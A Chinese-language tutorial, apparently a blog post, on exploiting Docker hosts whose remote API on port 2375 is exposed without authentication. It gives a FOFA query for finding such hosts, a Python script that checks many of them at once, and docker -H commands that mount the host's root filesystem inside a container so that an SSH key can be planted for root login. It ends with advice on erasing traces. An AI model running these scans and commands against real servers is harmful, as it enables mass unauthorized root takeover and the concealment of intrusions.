前言

Docker是一个开源的应用容器引擎,让开发者可以打包应用及依赖包到一个轻量级、可移植的容器中,然后发布到Linux机器上,也可以实现虚拟化。

Docker Swarm是Docker的集群管理工具,提供了标准的Docker API。在使用Docker Swarm的时候,管理的Docker节点上会开放一个TCP端口2375,绑定在 0.0.0.0上,直接通过HTTP访问会返回404 Not Found,但是可以通过该API执行Docker命令,例如创建/删除container、拉取image、读写宿主机文件等。

漏洞探测

fofa: port=2375 && protocol=="docker"

直接访问/containers/json,如果响应为200并且返回了json数据,则大概率漏洞存在。

贴一个批量验证脚本:

import requests

with open('urls.txt', 'r', encoding='utf-8') as f:
    urls = f.readlines()

for url in urls:
    url = f'http://{url.strip()}:2375/containers/json'
    try:
        resp = requests.get(url)
        if resp.status_code == 200 and resp.json():
            print(url, 'success')
    except Exception as e:
        pass

漏洞利用

对于可能存在漏洞的主机,可以通过docker命令来进一步验证:

docker -H tcp://<target_ip>:2375 images

如果成功返回了docker的镜像信息,则说明漏洞存在。

现在就可以通过docker容器来实现对宿主机的getshell了,思路是:因为docker默认都需要root权限启动,所以可以通过启动一个容器,将宿主机的根目录挂载到容器内,在容器内向宿主机的root目录下写入ssh公钥,即可实现免密码登录宿主机。

具体操作如下:

1、查看可以利用的镜像

docker -H tcp://<target_ip>:2375 images

比如这里可以利用ubuntu:18.04这个镜像,如果当前宿主机内没有可以利用的镜像,也可以直接拖一个新的镜像:

docker -H tcp://<target_ip>:2375 pull ubuntu:20.04

2、启动容器并挂载宿主机目录

docker -H tcp://<target_ip>:2375 run -it -v /:/mnt f9a80a55f492 /bin/bash

此时宿主机的根目录就挂载在容器内的/mnt目录下。

3、向宿主机的root目录写入ssh公钥

这时候就可以通过私钥来免密码登录宿主机了,并且是root权限。

清理痕迹

写入公钥之后,记得把容器销毁,并且删除新增的镜像!